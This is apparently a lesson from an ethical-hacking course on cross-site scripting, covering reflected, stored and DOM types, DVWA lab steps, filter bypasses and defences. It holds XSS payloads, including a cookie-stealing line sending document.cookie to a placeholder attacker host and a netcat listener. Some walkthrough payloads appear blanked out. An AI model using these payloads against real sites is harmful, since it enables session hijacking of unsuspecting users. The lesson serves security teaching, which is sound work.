Ethical Hacking Lesson 39 – Cross-Site Scripting (XSS) | Dataplexa
Web Hacking & Real World · Lesson 39

Cross-Site Scripting (XSS)

SQL injection attacks the server. XSS attacks the user. By injecting JavaScript into a web page, an attacker can execute code in the victim's browser — stealing session cookies, redirecting to phishing pages, logging keystrokes, or silently performing actions on the victim's behalf.

The browser trust model — the root cause of XSS

Browsers trust JavaScript that arrives from a domain completely. If code arrives from targetapp.com, the browser gives it access to every cookie set for targetapp.com, the ability to read and modify the page's DOM, the ability to make requests to targetapp.com on the user's behalf with their full authenticated session, and access to everything the page can access.

XSS abuses this trust by tricking the application into delivering attacker-controlled JavaScript alongside its own legitimate content. The browser cannot tell the difference — it arrived from the same domain, so it receives the same trust. The same-origin policy protects against cross-domain attacks but provides no protection against code delivered from the trusted domain itself.

Three types of XSS — the same attack, different delivery

Reflected XSS

Payload in the URL

The malicious script is included in the request — typically in a URL parameter — and the server reflects it back in the response without storing it. The victim must click a crafted link for the attack to execute. A search page that displays "Results for: [your search term]" and includes the search term directly in the HTML is a classic reflected XSS target. The attacker crafts a URL where the search term is a script tag and sends it to the victim.

Delivery requirement: Victim must click the attacker's crafted URL. Common delivery via phishing email, social media link, or QR code. Impact limited to the victim who clicks — but on high-traffic sites a single crafted link can affect many users.

Stored XSS

Payload in the database

The malicious script is stored in the application's database — in a comment, a profile field, a message, a product review — and is served to every user who views that content. No crafted link required. Anyone who visits the affected page triggers the payload automatically. A comment box that displays user input unescaped is the canonical example. Stored XSS in an admin panel is particularly severe — every time an admin views the affected content, the payload executes with admin-level session access.

Impact scale: Affects every user who views the infected page without any social engineering. The 2005 Samy worm spread a MySpace XSS payload to one million profiles in under 20 hours — all from a single stored XSS in profile fields.

DOM-based XSS

Payload in client-side code

The vulnerability lives entirely in the client-side JavaScript — the payload never reaches the server. JavaScript reads data from an attacker-controllable source (the URL hash, document.referrer, window.name) and writes it to a dangerous sink (innerHTML, document.write, eval) without sanitisation. The server response is completely clean. Traditional server-side scanning misses it entirely because the injection happens in the browser.

Detection challenge: Server-side scanners and WAFs see a clean server response. DOM XSS requires browser-side analysis or manual JavaScript review to find. Burp Suite's DOM Invader browser extension automates DOM sink discovery.

Testing for reflected XSS in DVWA

The DVWA XSS (Reflected) module passes a name parameter into the page response without sanitisation. The test begins with a simple probe to confirm the application reflects input into the HTML. If the probe appears unmodified in the page source, injection is possible.

The scenario: You are testing the DVWA reflected XSS page with the security level set to low. The URL includes ?name= and the page displays "Hello [name]!" in the response.

# Step 1 — basic probe: does the input appear unescaped in the response?
# If the page source shows 

# Step 2 — confirm execution with a visible popup
# alert(1) is the universal XSS proof-of-concept
# A JavaScript dialog appearing in the browser confirms the script executed
# This demonstrates code execution in the victim's browser context
http://192.168.56.101/dvwa/vulnerabilities/xss_r/?name=

# Step 3 — session cookie theft payload
# document.cookie reads all cookies accessible to JavaScript
# This payload sends the cookie to a server you control
# Replace ATTACKER_IP with your Kali IP and run a listener on port 8080
http://192.168.56.101/dvwa/vulnerabilities/xss_r/?name=

# On Kali — start a simple HTTP listener to receive the stolen cookie
# nc -lvp 8080 listens for incoming connections and prints what arrives
nc -lvp 8080

Breaking it down:

new Image().src — the cookie exfiltration technique
Creating a new Image object and setting its src to a URL causes the browser to make a GET request to that URL — silently, with no visible user interface change. By appending document.cookie to the URL, the session cookie travels to the attacker's server in the request path. The victim sees nothing. The browser treats it as a normal image load. A netcat listener captures the request containing the full cookie value.
PHPSESSID received — session takeover possible
The session cookie value received on the attacker's server can be pasted directly into the browser's Application tab in developer tools, replacing the attacker's own session cookie. The next request to the application carries the victim's session — the attacker is now authenticated as the victim without ever knowing their password. This is the XSS-to-session-hijacking chain. The HttpOnly flag would have prevented document.cookie from reading the session token — which is exactly why it must be set on every session cookie.

Testing for stored XSS

Stored XSS lives in any field the application saves to a database and later renders on a page. The DVWA guestbook module accepts a name and message, saves both to the database, and displays them on the page for every visitor. The test is the same probe — but the payload is injected into the form, saved to the database, and executes for every subsequent visitor automatically.

# Testing stored XSS in the DVWA guestbook
# The message field is saved to the database and displayed to all visitors

# Step 1 — submit the payload through the guestbook form
# Name: Tester
# Message (the injectable field):


# Step 2 — confirm the payload persists in the database
# Navigate away from the page and return — the script should still be there
# Every visitor who loads the guestbook page triggers the stored payload

# Step 3 — escalate to cookie exfiltration stored payload
# Any visitor to the guestbook sends their session cookie to the attacker's server
# This runs automatically for every future visitor — no link required


# The fetch() alternative to new Image() works the same way
# fetch sends an HTTP request to the attacker server
# document.cookie appends the victim's session cookies to the URL
# Every new visitor to the guestbook page exfiltrates their session token

# Step 4 — check the stored payload is visible in the page source
# View source of the guestbook page after submitting
# The raw script tag should appear unescaped in the HTML body

Breaking it down:

Three different visitors — three different session tokens
The stored payload fires for every person who loads the guestbook page. Each one sends their own session cookie to the attacker's listener. Visitor 3 appears to be an admin — if the application uses role-based access, that session token gives admin-level access when replayed. Stored XSS in an admin panel is consistently the highest-severity XSS finding because admin session tokens provide the greatest access level.
Persistence distinguishes stored from reflected
Removing stored XSS requires finding and deleting the payload from the database — not just patching the input field. If the payload was submitted through a now-patched input, it may still exist in every record created before the patch. Post-remediation for stored XSS must include sanitising existing database content, not just fixing the input handling for future submissions.

XSS filter bypass techniques

Many applications implement basic XSS filters — blocking or escaping obvious payloads like <script>. These filters create a cat-and-mouse game: each filter has a bypass, and testers who understand HTML parsing and JavaScript execution can work around most simple implementations.

XSS BYPASS TECHNIQUES — when the obvious payload is blocked

Event handler injection — no script tags required

<img src=x onerror=alert(1)>

The img tag loads a non-existent image (src=x), which triggers the onerror event handler — executing arbitrary JavaScript. No script tag involved. Applications that block <script> but allow HTML attributes are vulnerable to this. The onerror, onload, onmouseover, onfocus, and onclick event handlers all execute JavaScript.

Case variation — bypassing case-sensitive filters

<ScRiPt>alert(1)</ScRiPt>

HTML is case-insensitive. A filter blocking lowercase <script> exactly misses mixed-case variants. HTML parsers normalise case before rendering — all of these produce the same executed script tag. Robust filters must be case-insensitive.

SVG and other HTML contexts

<svg onload=alert(1)>

SVG elements support event handlers directly. The onload event fires as soon as the SVG renders — immediately on page load. This works in any HTML context that accepts SVG and is commonly missed by filters targeting only traditional script tags and img elements.

JavaScript URL in href or src attributes

<a href="javascript:alert(1)">Click me</a>

The javascript: URI scheme executes JavaScript when navigated to. In href attributes, clicking the link executes the payload. Applications that allow user-controlled href values but block script tags are vulnerable here. Modern browsers block javascript: in href by default when set through innerHTML — but direct attribute manipulation in older code paths remains exploitable.

Defences — output encoding, CSP, and the HttpOnly flag

Three controls together provide comprehensive XSS defence. Each addresses a different part of the attack chain — preventing injection, preventing execution, and limiting the impact of any execution that does occur.

Output encoding — the primary fix

Every piece of user-supplied data that appears in an HTML response must be HTML-encoded — converting < to &lt;, > to &gt;, and " to &quot;. The browser renders these as literal characters — the angle brackets display on screen rather than being parsed as HTML tags. Context matters: data in a JavaScript context requires JavaScript encoding, not HTML encoding. Modern templating engines (React, Angular, Vue) apply output encoding by default, which is a primary reason XSS prevalence has declined in modern single-page applications.

Remediation recommendation: Use the framework's built-in encoding functions. Never use raw string concatenation to build HTML containing user data. Never bypass the framework's auto-escaping.

Content Security Policy — defence in depth

CSP is an HTTP response header that tells the browser which sources of JavaScript are permitted to execute. A strict CSP — script-src 'self' — blocks execution of any inline scripts and restricts external script loading to the same origin. Even if an attacker injects a script tag, CSP prevents the browser from executing it. CSP is defence in depth — it reduces the impact of XSS vulnerabilities that were not caught by output encoding. A CSP-only defence without output encoding is insufficient — CSP has bypass techniques. Both controls together are robust.

Testing approach: Check the response headers for Content-Security-Policy. Paste the policy value into CSP Evaluator at csp-evaluator.withgoogle.com to identify weaknesses — unsafe-inline, unsafe-eval, and wildcard source directives all undermine CSP effectiveness.

HttpOnly cookie flag — limiting the impact of successful XSS

When session cookies have the HttpOnly flag set, JavaScript cannot read them through document.cookie. Even if XSS is successfully injected and executed, the cookie theft payload receives an empty string — the session token is invisible to JavaScript. This does not prevent all XSS impact — an injected script can still make requests using the victim's session, perform DOM manipulation, and redirect the page — but it defeats the most common and highest-impact XSS exploitation technique of session token theft.

Check immediately: View the Set-Cookie header in Burp or browser developer tools. Any session cookie missing HttpOnly is a finding regardless of whether XSS exists — because if XSS is ever introduced, the exposure will be immediate.

The relationship between these three controls reflects the defence-in-depth principle from Lesson 35. Output encoding prevents injection. CSP prevents execution. HttpOnly limits the impact of any execution that occurs despite the first two controls. A single control failing does not result in full impact because the others compensate. A session cookie with HttpOnly and a strict CSP transforms a critical XSS into a medium-severity finding — the attacker can execute code but cannot steal the session token and cannot load external malicious scripts.

Teacher's Note: The proof of concept for XSS in a pen test is alert(1) — not a working cookie exfiltration payload. Alert(1) demonstrates code execution without performing any action in the victim's browser context. In a client assessment, demonstrating that alert(1) fires is sufficient evidence for a critical finding. Running the full exfiltration payload against real user sessions requires explicit authorisation — and in most engagements, alert(1) is where the demonstration stops.

Quiz

Scenario:

A pen tester submits a JavaScript payload into the comment field of a product review page. Two days later they check their netcat listener and find it has received session cookies from 47 different visitors — including what appears to be an admin session — without the pen tester doing anything after the initial submission. No crafted links were sent to any user. Which type of XSS is this and what makes it more severe than the reflected variant?

Scenario:

A pen tester confirms reflected XSS on a web application and runs the cookie exfiltration payload — new Image().src='http://ATTACKER/?c='+document.cookie. Their netcat listener receives the request but the cookie parameter is empty — /?c=. The XSS clearly executed (they can see the outbound request). Which cookie attribute prevented the session token from being stolen and what does this mean for the severity rating of the finding?

Scenario:

A pen tester discovers reflected XSS on a production e-commerce application used by real customers. The application has no HttpOnly flag on its session cookies. The tester wants to demonstrate the full impact — including that session cookie theft is possible — to make the finding more compelling in the report. The engagement scope covers web application testing but does not specifically address XSS exploitation beyond proof of concept. What is the appropriate limit of the XSS demonstration?

Up Next · Lesson 40

Authentication Attacks

Broken authentication, insecure password reset flows, credential stuffing, MFA bypass techniques, and the OWASP A07 findings that appear most consistently in real web assessments.